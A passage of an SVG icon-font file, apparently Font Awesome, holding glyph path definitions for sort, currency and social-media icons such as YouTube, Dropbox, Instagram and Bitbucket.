d="M1145 861q18 -35 -5 -66l-320 -448q-19 -27 -52 -27t-52 27l-320 448q-23 31 -5 66q17 35 57 35h640q40 0 57 -35zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="collapse_top" unicode="&#xf151;" 
d="M1145 419q-17 -35 -57 -35h-640q-40 0 -57 35q-18 35 5 66l320 448q19 27 52 27t52 -27l320 -448q23 -31 5 -66zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_317" unicode="&#xf152;" 
d="M1088 640q0 -33 -27 -52l-448 -320q-31 -23 -66 -5q-35 17 -35 57v640q0 40 35 57q35 18 66 -5l448 -320q27 -19 27 -52zM1280 160v960q0 14 -9 23t-23 9h-960q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h960q14 0 23 9t9 23zM1536 1120v-960q0 -119 -84.5 -203.5
t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="eur" unicode="&#xf153;" horiz-adv-x="1024" 
d="M976 229l35 -159q3 -12 -3 -22.5t-17 -14.5l-5 -1q-4 -2 -10.5 -3.5t-16 -4.5t-21.5 -5.5t-25.5 -5t-30 -5t-33.5 -4.5t-36.5 -3t-38.5 -1q-234 0 -409 130.5t-238 351.5h-95q-13 0 -22.5 9.5t-9.5 22.5v113q0 13 9.5 22.5t22.5 9.5h66q-2 57 1 105h-67q-14 0 -23 9
t-9 23v114q0 14 9 23t23 9h98q67 210 243.5 338t400.5 128q102 0 194 -23q11 -3 20 -15q6 -11 3 -24l-43 -159q-3 -13 -14 -19.5t-24 -2.5l-4 1q-4 1 -11.5 2.5l-17.5 3.5t-22.5 3.5t-26 3t-29 2.5t-29.5 1q-126 0 -226 -64t-150 -176h468q16 0 25 -12q10 -12 7 -26
l-24 -114q-5 -26 -32 -26h-488q-3 -37 0 -105h459q15 0 25 -12q9 -12 6 -27l-24 -112q-2 -11 -11 -18.5t-20 -7.5h-387q48 -117 149.5 -185.5t228.5 -68.5q18 0 36 1.5t33.5 3.5t29.5 4.5t24.5 5t18.5 4.5l12 3l5 2q13 5 26 -2q12 -7 15 -21z" />
    <glyph glyph-name="gbp" unicode="&#xf154;" horiz-adv-x="1024" 
d="M1020 399v-367q0 -14 -9 -23t-23 -9h-956q-14 0 -23 9t-9 23v150q0 13 9.5 22.5t22.5 9.5h97v383h-95q-14 0 -23 9.5t-9 22.5v131q0 14 9 23t23 9h95v223q0 171 123.5 282t314.5 111q185 0 335 -125q9 -8 10 -20.5t-7 -22.5l-103 -127q-9 -11 -22 -12q-13 -2 -23 7
q-5 5 -26 19t-69 32t-93 18q-85 0 -137 -47t-52 -123v-215h305q13 0 22.5 -9t9.5 -23v-131q0 -13 -9.5 -22.5t-22.5 -9.5h-305v-379h414v181q0 13 9 22.5t23 9.5h162q14 0 23 -9.5t9 -22.5z" />
    <glyph glyph-name="usd" unicode="&#xf155;" horiz-adv-x="1024" 
d="M978 351q0 -153 -99.5 -263.5t-258.5 -136.5v-175q0 -14 -9 -23t-23 -9h-135q-13 0 -22.5 9.5t-9.5 22.5v175q-66 9 -127.5 31t-101.5 44.5t-74 48t-46.5 37.5t-17.5 18q-17 21 -2 41l103 135q7 10 23 12q15 2 24 -9l2 -2q113 -99 243 -125q37 -8 74 -8q81 0 142.5 43
t61.5 122q0 28 -15 53t-33.5 42t-58.5 37.5t-66 32t-80 32.5q-39 16 -61.5 25t-61.5 26.5t-62.5 31t-56.5 35.5t-53.5 42.5t-43.5 49t-35.5 58t-21 66.5t-8.5 78q0 138 98 242t255 134v180q0 13 9.5 22.5t22.5 9.5h135q14 0 23 -9t9 -23v-176q57 -6 110.5 -23t87 -33.5
t63.5 -37.5t39 -29t15 -14q17 -18 5 -38l-81 -146q-8 -15 -23 -16q-14 -3 -27 7q-3 3 -14.5 12t-39 26.5t-58.5 32t-74.5 26t-85.5 11.5q-95 0 -155 -43t-60 -111q0 -26 8.5 -48t29.5 -41.5t39.5 -33t56 -31t60.5 -27t70 -27.5q53 -20 81 -31.5t76 -35t75.5 -42.5t62 -50
t53 -63.5t31.5 -76.5t13 -94z" />
    <glyph glyph-name="inr" unicode="&#xf156;" horiz-adv-x="898" 
d="M898 1066v-102q0 -14 -9 -23t-23 -9h-168q-23 -144 -129 -234t-276 -110q167 -178 459 -536q14 -16 4 -34q-8 -18 -29 -18h-195q-16 0 -25 12q-306 367 -498 571q-9 9 -9 22v127q0 13 9.5 22.5t22.5 9.5h112q132 0 212.5 43t102.5 125h-427q-14 0 -23 9t-9 23v102
q0 14 9 23t23 9h413q-57 113 -268 113h-145q-13 0 -22.5 9.5t-9.5 22.5v133q0 14 9 23t23 9h832q14 0 23 -9t9 -23v-102q0 -14 -9 -23t-23 -9h-233q47 -61 64 -144h171q14 0 23 -9t9 -23z" />
    <glyph glyph-name="jpy" unicode="&#xf157;" horiz-adv-x="1027" 
d="M603 0h-172q-13 0 -22.5 9t-9.5 23v330h-288q-13 0 -22.5 9t-9.5 23v103q0 13 9.5 22.5t22.5 9.5h288v85h-288q-13 0 -22.5 9t-9.5 23v104q0 13 9.5 22.5t22.5 9.5h214l-321 578q-8 16 0 32q10 16 28 16h194q19 0 29 -18l215 -425q19 -38 56 -125q10 24 30.5 68t27.5 61
l191 420q8 19 29 19h191q17 0 27 -16q9 -14 1 -31l-313 -579h215q13 0 22.5 -9.5t9.5 -22.5v-104q0 -14 -9.5 -23t-22.5 -9h-290v-85h290q13 0 22.5 -9.5t9.5 -22.5v-103q0 -14 -9.5 -23t-22.5 -9h-290v-330q0 -13 -9.5 -22.5t-22.5 -9.5z" />
    <glyph glyph-name="rub" unicode="&#xf158;" horiz-adv-x="1280" 
d="M1043 971q0 100 -65 162t-171 62h-320v-448h320q106 0 171 62t65 162zM1280 971q0 -193 -126.5 -315t-326.5 -122h-340v-118h505q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-505v-192q0 -14 -9.5 -23t-22.5 -9h-167q-14 0 -23 9t-9 23v192h-224q-14 0 -23 9t-9 23v128
q0 14 9 23t23 9h224v118h-224q-14 0 -23 9t-9 23v149q0 13 9 22.5t23 9.5h224v629q0 14 9 23t23 9h539q200 0 326.5 -122t126.5 -315z" />
    <glyph glyph-name="krw" unicode="&#xf159;" horiz-adv-x="1792" 
d="M514 341l81 299h-159l75 -300q1 -1 1 -3t1 -3q0 1 0.5 3.5t0.5 3.5zM630 768l35 128h-292l32 -128h225zM822 768h139l-35 128h-70zM1271 340l78 300h-162l81 -299q0 -1 0.5 -3.5t1.5 -3.5q0 1 0.5 3t0.5 3zM1382 768l33 128h-297l34 -128h230zM1792 736v-64q0 -14 -9 -23
t-23 -9h-213l-164 -616q-7 -24 -31 -24h-159q-24 0 -31 24l-166 616h-209l-167 -616q-7 -24 -31 -24h-159q-11 0 -19.5 7t-10.5 17l-160 616h-208q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h175l-33 128h-142q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h109l-89 344q-5 15 5 28
q10 12 26 12h137q26 0 31 -24l90 -360h359l97 360q7 24 31 24h126q24 0 31 -24l98 -360h365l93 360q5 24 31 24h137q16 0 26 -12q10 -13 5 -28l-91 -344h111q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-145l-34 -128h179q14 0 23 -9t9 -23z" />
    <glyph glyph-name="btc" unicode="&#xf15a;" horiz-adv-x="1280" 
d="M1167 896q18 -182 -131 -258q117 -28 175 -103t45 -214q-7 -71 -32.5 -125t-64.5 -89t-97 -58.5t-121.5 -34.5t-145.5 -15v-255h-154v251q-80 0 -122 1v-252h-154v255q-18 0 -54 0.5t-55 0.5h-200l31 183h111q50 0 58 51v402h16q-6 1 -16 1v287q-13 68 -89 68h-111v164
l212 -1q64 0 97 1v252h154v-247q82 2 122 2v245h154v-252q79 -7 140 -22.5t113 -45t82.5 -78t36.5 -114.5zM952 351q0 36 -15 64t-37 46t-57.5 30.5t-65.5 18.5t-74 9t-69 3t-64.5 -1t-47.5 -1v-338q8 0 37 -0.5t48 -0.5t53 1.5t58.5 4t57 8.5t55.5 14t47.5 21t39.5 30
t24.5 40t9.5 51zM881 827q0 33 -12.5 58.5t-30.5 42t-48 28t-55 16.5t-61.5 8t-58 2.5t-54 -1t-39.5 -0.5v-307q5 0 34.5 -0.5t46.5 0t50 2t55 5.5t51.5 11t48.5 18.5t37 27t27 38.5t9 51z" />
    <glyph glyph-name="file" unicode="&#xf15b;" 
d="M1024 1024v472q22 -14 36 -28l408 -408q14 -14 28 -36h-472zM896 992q0 -40 28 -68t68 -28h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544z" />
    <glyph glyph-name="file_text" unicode="&#xf15c;" 
d="M1468 1060q14 -14 28 -36h-472v472q22 -14 36 -28zM992 896h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544q0 -40 28 -68t68 -28zM1152 160v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704
q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23z" />
    <glyph glyph-name="sort_by_alphabet" unicode="&#xf15d;" horiz-adv-x="1664" 
d="M1191 1128h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1572 -23
v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -11v-2l14 2q9 2 30 2h248v119h121zM1661 874v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162
l230 -662h70z" />
    <glyph glyph-name="_329" unicode="&#xf15e;" horiz-adv-x="1664" 
d="M1191 104h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1661 -150
v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162l230 -662h70zM1572 1001v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -10v-3l14 3q9 1 30 1h248
v119h121z" />
    <glyph glyph-name="sort_by_attributes" unicode="&#xf160;" horiz-adv-x="1792" 
d="M736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1792 -32v-192q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832
q14 0 23 -9t9 -23zM1600 480v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1408 992v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1216 1504v-192q0 -14 -9 -23t-23 -9h-256
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23z" />
    <glyph glyph-name="sort_by_attributes_alt" unicode="&#xf161;" horiz-adv-x="1792" 
d="M1216 -32v-192q0 -14 -9 -23t-23 -9h-256q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192
q14 0 23 -9t9 -23zM1408 480v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1600 992v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1792 1504v-192q0 -14 -9 -23t-23 -9h-832
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832q14 0 23 -9t9 -23z" />
    <glyph glyph-name="sort_by_order" unicode="&#xf162;" 
d="M1346 223q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23
zM1486 165q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5
t82 -252.5zM1456 882v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165z" />
    <glyph glyph-name="sort_by_order_alt" unicode="&#xf163;" 
d="M1346 1247q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9
t9 -23zM1456 -142v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165zM1486 1189q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13
q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5t82 -252.5z" />
    <glyph glyph-name="_334" unicode="&#xf164;" horiz-adv-x="1664" 
d="M256 192q0 26 -19 45t-45 19q-27 0 -45.5 -19t-18.5 -45q0 -27 18.5 -45.5t45.5 -18.5q26 0 45 18.5t19 45.5zM416 704v-640q0 -26 -19 -45t-45 -19h-288q-26 0 -45 19t-19 45v640q0 26 19 45t45 19h288q26 0 45 -19t19 -45zM1600 704q0 -86 -55 -149q15 -44 15 -76
q3 -76 -43 -137q17 -56 0 -117q-15 -57 -54 -94q9 -112 -49 -181q-64 -76 -197 -78h-36h-76h-17q-66 0 -144 15.5t-121.5 29t-120.5 39.5q-123 43 -158 44q-26 1 -45 19.5t-19 44.5v641q0 25 18 43.5t43 20.5q24 2 76 59t101 121q68 87 101 120q18 18 31 48t17.5 48.5
t13.5 60.5q7 39 12.5 61t19.5 52t34 50q19 19 45 19q46 0 82.5 -10.5t60 -26t40 -40.5t24 -45t12 -50t5 -45t0.5 -39q0 -38 -9.5 -76t-19 -60t-27.5 -56q-3 -6 -10 -18t-11 -22t-8 -24h277q78 0 135 -57t57 -135z" />
    <glyph glyph-name="_335" unicode="&#xf165;" horiz-adv-x="1664" 
d="M256 960q0 -26 -19 -45t-45 -19q-27 0 -45.5 19t-18.5 45q0 27 18.5 45.5t45.5 18.5q26 0 45 -18.5t19 -45.5zM416 448v640q0 26 -19 45t-45 19h-288q-26 0 -45 -19t-19 -45v-640q0 -26 19 -45t45 -19h288q26 0 45 19t19 45zM1545 597q55 -61 55 -149q-1 -78 -57.5 -135
t-134.5 -57h-277q4 -14 8 -24t11 -22t10 -18q18 -37 27 -57t19 -58.5t10 -76.5q0 -24 -0.5 -39t-5 -45t-12 -50t-24 -45t-40 -40.5t-60 -26t-82.5 -10.5q-26 0 -45 19q-20 20 -34 50t-19.5 52t-12.5 61q-9 42 -13.5 60.5t-17.5 48.5t-31 48q-33 33 -101 120q-49 64 -101 121
t-76 59q-25 2 -43 20.5t-18 43.5v641q0 26 19 44.5t45 19.5q35 1 158 44q77 26 120.5 39.5t121.5 29t144 15.5h17h76h36q133 -2 197 -78q58 -69 49 -181q39 -37 54 -94q17 -61 0 -117q46 -61 43 -137q0 -32 -15 -76z" />
    <glyph glyph-name="youtube_sign" unicode="&#xf166;" 
d="M919 233v157q0 50 -29 50q-17 0 -33 -16v-224q16 -16 33 -16q29 0 29 49zM1103 355h66v34q0 51 -33 51t-33 -51v-34zM532 621v-70h-80v-423h-74v423h-78v70h232zM733 495v-367h-67v40q-39 -45 -76 -45q-33 0 -42 28q-6 17 -6 54v290h66v-270q0 -24 1 -26q1 -15 15 -15
q20 0 42 31v280h67zM985 384v-146q0 -52 -7 -73q-12 -42 -53 -42q-35 0 -68 41v-36h-67v493h67v-161q32 40 68 40q41 0 53 -42q7 -21 7 -74zM1236 255v-9q0 -29 -2 -43q-3 -22 -15 -40q-27 -40 -80 -40q-52 0 -81 38q-21 27 -21 86v129q0 59 20 86q29 38 80 38t78 -38
q21 -29 21 -86v-76h-133v-65q0 -51 34 -51q24 0 30 26q0 1 0.5 7t0.5 16.5v21.5h68zM785 1079v-156q0 -51 -32 -51t-32 51v156q0 52 32 52t32 -52zM1318 366q0 177 -19 260q-10 44 -43 73.5t-76 34.5q-136 15 -412 15q-275 0 -411 -15q-44 -5 -76.5 -34.5t-42.5 -73.5
q-20 -87 -20 -260q0 -176 20 -260q10 -43 42.5 -73t75.5 -35q137 -15 412 -15t412 15q43 5 75.5 35t42.5 73q20 84 20 260zM563 1017l90 296h-75l-51 -195l-53 195h-78q7 -23 23 -69l24 -69q35 -103 46 -158v-201h74v201zM852 936v130q0 58 -21 87q-29 38 -78 38
q-51 0 -78 -38q-21 -29 -21 -87v-130q0 -58 21 -87q27 -38 78 -38q49 0 78 38q21 27 21 87zM1033 816h67v370h-67v-283q-22 -31 -42 -31q-15 0 -16 16q-1 2 -1 26v272h-67v-293q0 -37 6 -55q11 -27 43 -27q36 0 77 45v-40zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5
h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="youtube" unicode="&#xf167;" 
d="M971 292v-211q0 -67 -39 -67q-23 0 -45 22v301q22 22 45 22q39 0 39 -67zM1309 291v-46h-90v46q0 68 45 68t45 -68zM343 509h107v94h-312v-94h105v-569h100v569zM631 -60h89v494h-89v-378q-30 -42 -57 -42q-18 0 -21 21q-1 3 -1 35v364h-89v-391q0 -49 8 -73
q12 -37 58 -37q48 0 102 61v-54zM1060 88v197q0 73 -9 99q-17 56 -71 56q-50 0 -93 -54v217h-89v-663h89v48q45 -55 93 -55q54 0 71 55q9 27 9 100zM1398 98v13h-91q0 -51 -2 -61q-7 -36 -40 -36q-46 0 -46 69v87h179v103q0 79 -27 116q-39 51 -106 51q-68 0 -107 -51
q-28 -37 -28 -116v-173q0 -79 29 -116q39 -51 108 -51q72 0 108 53q18 27 21 54q2 9 2 58zM790 1011v210q0 69 -43 69t-43 -69v-210q0 -70 43 -70t43 70zM1509 260q0 -234 -26 -350q-14 -59 -58 -99t-102 -46q-184 -21 -555 -21t-555 21q-58 6 -102.5 46t-57.5 99
q-26 112 -26 350q0 234 26 350q14 59 58 99t103 47q183 20 554 20t555 -20q58 -7 102.5 -47t57.5 -99q26 -112 26 -350zM511 1536h102l-121 -399v-271h-100v271q-14 74 -61 212q-37 103 -65 187h106l71 -263zM881 1203v-175q0 -81 -28 -118q-38 -51 -106 -51q-67 0 -105 51
q-28 38 -28 118v175q0 80 28 117q38 51 105 51q68 0 106 -51q28 -37 28 -117zM1216 1365v-499h-91v55q-53 -62 -103 -62q-46 0 -59 37q-8 24 -8 75v394h91v-367q0 -33 1 -35q3 -22 21 -22q27 0 57 43v381h91z" />
    <glyph glyph-name="xing" unicode="&#xf168;" horiz-adv-x="1408" 
d="M597 869q-10 -18 -257 -456q-27 -46 -65 -46h-239q-21 0 -31 17t0 36l253 448q1 0 0 1l-161 279q-12 22 -1 37q9 15 32 15h239q40 0 66 -45zM1403 1511q11 -16 0 -37l-528 -934v-1l336 -615q11 -20 1 -37q-10 -15 -32 -15h-239q-42 0 -66 45l-339 622q18 32 531 942
q25 45 64 45h241q22 0 31 -15z" />
    <glyph glyph-name="xing_sign" unicode="&#xf169;" 
d="M685 771q0 1 -126 222q-21 34 -52 34h-184q-18 0 -26 -11q-7 -12 1 -29l125 -216v-1l-196 -346q-9 -14 0 -28q8 -13 24 -13h185q31 0 50 36zM1309 1268q-7 12 -24 12h-187q-30 0 -49 -35l-411 -729q1 -2 262 -481q20 -35 52 -35h184q18 0 25 12q8 13 -1 28l-260 476v1
l409 723q8 16 0 28zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="youtube_play" unicode="&#xf16a;" horiz-adv-x="1792" 
d="M711 408l484 250l-484 253v-503zM896 1270q168 0 324.5 -4.5t229.5 -9.5l73 -4q1 0 17 -1.5t23 -3t23.5 -4.5t28.5 -8t28 -13t31 -19.5t29 -26.5q6 -6 15.5 -18.5t29 -58.5t26.5 -101q8 -64 12.5 -136.5t5.5 -113.5v-40v-136q1 -145 -18 -290q-7 -55 -25 -99.5t-32 -61.5
l-14 -17q-14 -15 -29 -26.5t-31 -19t-28 -12.5t-28.5 -8t-24 -4.5t-23 -3t-16.5 -1.5q-251 -19 -627 -19q-207 2 -359.5 6.5t-200.5 7.5l-49 4l-36 4q-36 5 -54.5 10t-51 21t-56.5 41q-6 6 -15.5 18.5t-29 58.5t-26.5 101q-8 64 -12.5 136.5t-5.5 113.5v40v136
q-1 145 18 290q7 55 25 99.5t32 61.5l14 17q14 15 29 26.5t31 19.5t28 13t28.5 8t23.5 4.5t23 3t17 1.5q251 18 627 18z" />
    <glyph glyph-name="dropbox" unicode="&#xf16b;" horiz-adv-x="1792" 
d="M402 829l494 -305l-342 -285l-490 319zM1388 274v-108l-490 -293v-1l-1 1l-1 -1v1l-489 293v108l147 -96l342 284v2l1 -1l1 1v-2l343 -284zM554 1418l342 -285l-494 -304l-338 270zM1390 829l338 -271l-489 -319l-343 285zM1239 1418l489 -319l-338 -270l-494 304z" />
    <glyph glyph-name="stackexchange" unicode="&#xf16c;" 
d="M1289 -96h-1118v480h-160v-640h1438v640h-160v-480zM347 428l33 157l783 -165l-33 -156zM450 802l67 146l725 -339l-67 -145zM651 1158l102 123l614 -513l-102 -123zM1048 1536l477 -641l-128 -96l-477 641zM330 65v159h800v-159h-800z" />
    <glyph glyph-name="instagram" unicode="&#xf16d;" 
d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1162 640q0 -164 -115 -279t-279 -115t-279 115t-115 279t115 279t279 115t279 -115t115 -279zM1270 1050q0 -38 -27 -65t-65 -27t-65 27t-27 65t27 65t65 27t65 -27t27 -65zM768 1270
q-7 0 -76.5 0.5t-105.5 0t-96.5 -3t-103 -10t-71.5 -18.5q-50 -20 -88 -58t-58 -88q-11 -29 -18.5 -71.5t-10 -103t-3 -96.5t0 -105.5t0.5 -76.5t-0.5 -76.5t0 -105.5t3 -96.5t10 -103t18.5 -71.5q20 -50 58 -88t88 -58q29 -11 71.5 -18.5t103 -10t96.5 -3t105.5 0t76.5 0.5
t76.5 -0.5t105.5 0t96.5 3t103 10t71.5 18.5q50 20 88 58t58 88q11 29 18.5 71.5t10 103t3 96.5t0 105.5t-0.5 76.5t0.5 76.5t0 105.5t-3 96.5t-10 103t-18.5 71.5q-20 50 -58 88t-88 58q-29 11 -71.5 18.5t-103 10t-96.5 3t-105.5 0t-76.5 -0.5zM1536 640q0 -229 -5 -317
q-10 -208 -124 -322t-322 -124q-88 -5 -317 -5t-317 5q-208 10 -322 124t-124 322q-5 88 -5 317t5 317q10 208 124 322t322 124q88 5 317 5t317 -5q208 -10 322 -124t124 -322q5 -88 5 -317z" />
    <glyph glyph-name="flickr" unicode="&#xf16e;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM698 640q0 88 -62 150t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150zM1262 640q0 88 -62 150
t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150z" />
    <glyph glyph-name="adn" unicode="&#xf170;" 
d="M768 914l201 -306h-402zM1133 384h94l-459 691l-459 -691h94l104 160h522zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="f171" unicode="&#xf171;" horiz-adv-x="1408" 
d="M815 677q8 -63 -50.5 -101t-111.5 -6q-39 17 -53.5 58t-0.5 82t52 58q36 18 72.5 12t64 -35.5t27.5 -67.5zM926 698q-14 107 -113 164t-197 13q-63 -28 -100.5 -88.5t-34.5 -129.5q4 -91 77.5 -155t165.5 -56q91 8 152 84t50 168zM1165 1240q-20 27 -56 44.5t-58 22
t-71 12.5q-291 47 -566 -2q-43 -7 -66 -12t-55 -22t-50 -43q30 -28 76 -45.5t73.5 -22t87.5 -11.5q228 -29 448 -1q63 8 89.5 12t72.5 21.5t75 46.5zM1222 205q-8 -26 -15.5 -76.5t-14 -84t-28.5 -70t-58 -56.5q-86 -48 -189.5 -71.5t-202 -22t-201.5 18.5q-46 8 -81.5 18
t-76.5 27t-73 43.5t-52 61.5q-25 96 -57 292l6 16l18 9q223 -148 506.5 -148t507.5 148q21 -6 24 -23t-5 -45t-8 -37zM1403 1166q-26 -167 -111 -655q-5 -30 -27 -56t-43.5 -40t-54.5 -31q-252 -126 -610 -88q-248 27 -394 139q-15 12 -25.5 26.5t-17 35t-9 34t-6 39.5
t-5.5 35q-9 50 -26.5 150t-28 161.5t-23.5 147.5t-22 158q3 26 17.5 48.5t31.5 37.5t45 30t46 22.5t48 18.5q125 46 313 64q379 37 676 -50q155 -46 215 -122q16 -20 16.5 -51t-5.5 -54z" />
    <glyph glyph-name="bitbucket_sign" unicode="&#xf172;" 
d="M848 666q0 43 -41 66t-77 1q-43 -20 -42.5 -72.5t43.5 -70.5q39 -23 81 4t36 72zM928 682q8 -66 -36 -121t-110 -61t-119 40t-56 113q-2 49 25.5 93t72.5 64q70 31 141.5 -10t81.5 -118zM1100 1073q-20 -21 -53.5 -34t-53 -16t-63.5 -8q-155 -20 -324 0q-44 6 -63 9.5
t-52.5 16t-54.5 32.5q13 19 36 31t40 15.5t47 8.5q198 35 408 1q33 -5 51 -8.5t43 -16t39 -31.5zM1142 327q0 7 5.5 26.5t3 32t-17.5 16.5q-161 -106 -365 -106t-366 106l-12 -6l-5 -12q26 -154 41 -210q47 -81 204 -108q249 -46 428 53q34 19 49 51.5t22.5 85.5t12.5 71z
M1272 1020q9 53 -8 75q-43 55 -155 88q-216 63 -487 36q-132 -12 -226 -46q-38 -15 -59.5 -25t-47 -34t-29.5 -54q8 -68 19 -138t29 -171t24 -137q1 -5 5 -31t7 -36t12 -27t22 -28q105 -80 284 -100q259 -28 440 63q24 13 39.5 23t31 29t19.5 40q48 267 80 473zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="tumblr" unicode="&#xf173;" horiz-adv-x="1024" 
